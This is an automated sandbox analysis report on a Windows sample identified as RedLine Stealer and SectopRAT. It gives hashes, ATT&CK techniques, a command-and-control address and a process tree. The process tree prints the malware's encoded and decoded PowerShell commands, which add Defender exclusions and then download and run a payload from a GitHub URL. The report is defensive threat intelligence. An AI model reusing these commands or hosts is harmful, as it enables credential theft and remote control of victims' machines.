redline | b49d73fd66670362b72f74cbfe4816329b8c74bcb9c6a56a2e962d8afd2c6bad

Analysis

max time kernel
105s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20250610-en
resource tags

arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system
submitted
29/08/2025, 03:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe
Size 974KB
Sample250829-dpyg7sysbv
SHA256 b49d73fd66670362b72f74cbfe4816329b8c74bcb9c6a56a2e962d8afd2c6bad
MD5 4d3a87cb9325abf631c81ebb64ee162e
SHA1 1ff315eb4f2594781f038b8f05ff852b4e8171e3
SHA512 2f65b4616cce2eb50f198d6aad19646b7e579a95d50aa072726480d30042a8081436319f75a73711b572f3e84faa2db26e313b88589bd4189fe007cf23493656
SSDEEP 12288:RmTNh7sB/TVOv2JkVtNmnQIiImZJpRh0y9pxJs:RqNh7sB/TV5JkVtNmnQIi1h06f
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

alice2 discovery execution redline sectoprat infostealer rat trojan

Malware Config

Extracted

Family

redline

Botnet

ALICE2

pepesigmarespect.servemp3.com:25920

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000800000002420a-32.dat	family_redline
behavioral1/memory/2140-39-0x0000000000310000-0x000000000032E000-memory.dmp	family_redline

Redline family
redline
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000800000002420a-32.dat	family_sectoprat
behavioral1/memory/2140-39-0x0000000000310000-0x000000000032E000-memory.dmp	family_sectoprat

Sectoprat family
sectoprat

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	3740	powershell.exe
8	3740	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3740	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
8	3740	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2140	build20.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	build20.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5892	powershell.exe
5892	powershell.exe
3740	powershell.exe
3740	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5892	powershell.exe
Token: SeDebugPrivilege	3740	powershell.exe
Token: SeDebugPrivilege	2140	build20.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 5672 wrote to memory of 3624	5672	2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe	85
PID 5672 wrote to memory of 3624	5672	2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe	85
PID 3624 wrote to memory of 5892	3624	cmd.exe	86
PID 3624 wrote to memory of 5892	3624	cmd.exe	86
PID 5892 wrote to memory of 3740	5892	powershell.exe	87
PID 5892 wrote to memory of 3740	5892	powershell.exe	87
PID 3740 wrote to memory of 2140	3740	powershell.exe	89
PID 3740 wrote to memory of 2140	3740	powershell.exe	89
PID 3740 wrote to memory of 2140	3740	powershell.exe	89

C:\Users\Admin\AppData\Local\Temp\2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe
"C:\Users\Admin\AppData\Local\Temp\2025-08-29_4d3a87cb9325abf631c81ebb64ee162e_.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAGIAdQBpAGwAZAAyADAALgBlAHgAZQAiACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBlAHUAYwBhADQAMAA0AC8AdABlAHMAdABwAGUAcABlAGMAaABlAGMAawBlAHIALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAtAFMATABFAEUAUAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA2ADAAMAAwACAAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACcAIAAtAFYAIAByAHUAbgBBAHMA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAGIAdQBpAGwAZAAyADAALgBlAHgAZQAiACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBlAHUAYwBhADQAMAA0AC8AdABlAHMAdABwAGUAcABlAGMAaABlAGMAawBlAHIALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgB1AGkAbABkADIAMAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAtAFMATABFAEUAUAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA2ADAAMAAwACAAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8AYgB1AGkAbABkADIAMAAuAGUAeABlACcAIAAtAFYAIAByAHUAbgBBAHMA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:USERPROFILE -FORCE ; Add-MpPreference -ExclusionPath C:\WINDOWS -FORCE ; CURL -O "$env:TEMP\build20.exe" https://github.com/euca404/testpepechecker/raw/refs/heads/main/build20.exe ; START $env:TEMP\build20.exe ; START-SLEEP -Milliseconds 6000 ; Remove-Item -path $env:TEMP/build20.exe
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3740
    - - C:\Users\Admin\AppData\Local\Temp\build20.exe
        
        "C:\Users\Admin\AppData\Local\Temp\build20.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2140

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 9dc625f0ca4b3d4caffcc47e640b71b09ffc42b30dc09a0c8df4a0031d4f1934
MD5 94c0992fcd63ebf2e009ba3a2c15523b
SHA1 f25b7c0ab8af2dada53ace9ea2a06167e42f9a12
SHA512 24e2abaeaa2b435455edb3e178e6ed7ea61eb3057d6a50d003d6ac04202b4beb0bfc4a462fcc4cf88276398899e0c4c9a705b883bca01275a59817d059351317
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_odrxz24v.vmu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_odrxz24v.vmu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

build20.exe

Path C:\Users\Admin\AppData\Local\Temp\build20.exe
Size 95KB
SHA256 2d18440cd33a632db4305a1cfc552facf7591668e83cf34c5851cc94afd78aa8
MD5 7e6374dc248096dd96bd91084d494716
SHA1 cbf42b70d643aea482a66c97155cafbfa4fa7b53
SHA512 7eee8cf2665f454d60f6dfbd64f5372f1d2a681a1cf88a4e91d6fbacfa197c209072bf33caea67c34b371940555f8ca0d0251f2fa5f8737000d6a72a086c8eb9
SSDEEP 1536:OqsoEUq5klbG6jejoigI/43Ywzi0Zb78ivombfexv0ujXyyed2ctmulgS6pc:s7UycY/+zi0ZbYe1g0ujyzdIc
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2140-41-0x0000000004CC0000-0x0000000004CD2000-memory.dmp

Download

memory/2140-43-0x0000000004D60000-0x0000000004DAC000-memory.dmp

Download

memory/2140-47-0x0000000006AF0000-0x000000000701C000-memory.dmp

Download

memory/2140-46-0x00000000063F0000-0x00000000065B2000-memory.dmp

Download

memory/2140-44-0x0000000004FD0000-0x00000000050DA000-memory.dmp

Download

memory/2140-42-0x0000000004D20000-0x0000000004D5C000-memory.dmp

Download

memory/2140-39-0x0000000000310000-0x000000000032E000-memory.dmp

Download

memory/2140-40-0x00000000053F0000-0x0000000005A08000-memory.dmp

Download

memory/3740-17-0x000001B51B620000-0x000001B51B630000-memory.dmp

Download

memory/3740-16-0x000001B51B620000-0x000001B51B630000-memory.dmp

Download

memory/5672-14-0x0000000000400000-0x00000000004FF000-memory.dmp

Download

memory/5892-1-0x000001F6AD330000-0x000001F6AD340000-memory.dmp

Download

memory/5892-0-0x000001F6AD330000-0x000001F6AD340000-memory.dmp

Download

memory/5892-2-0x000001F6ADC60000-0x000001F6ADC82000-memory.dmp

Download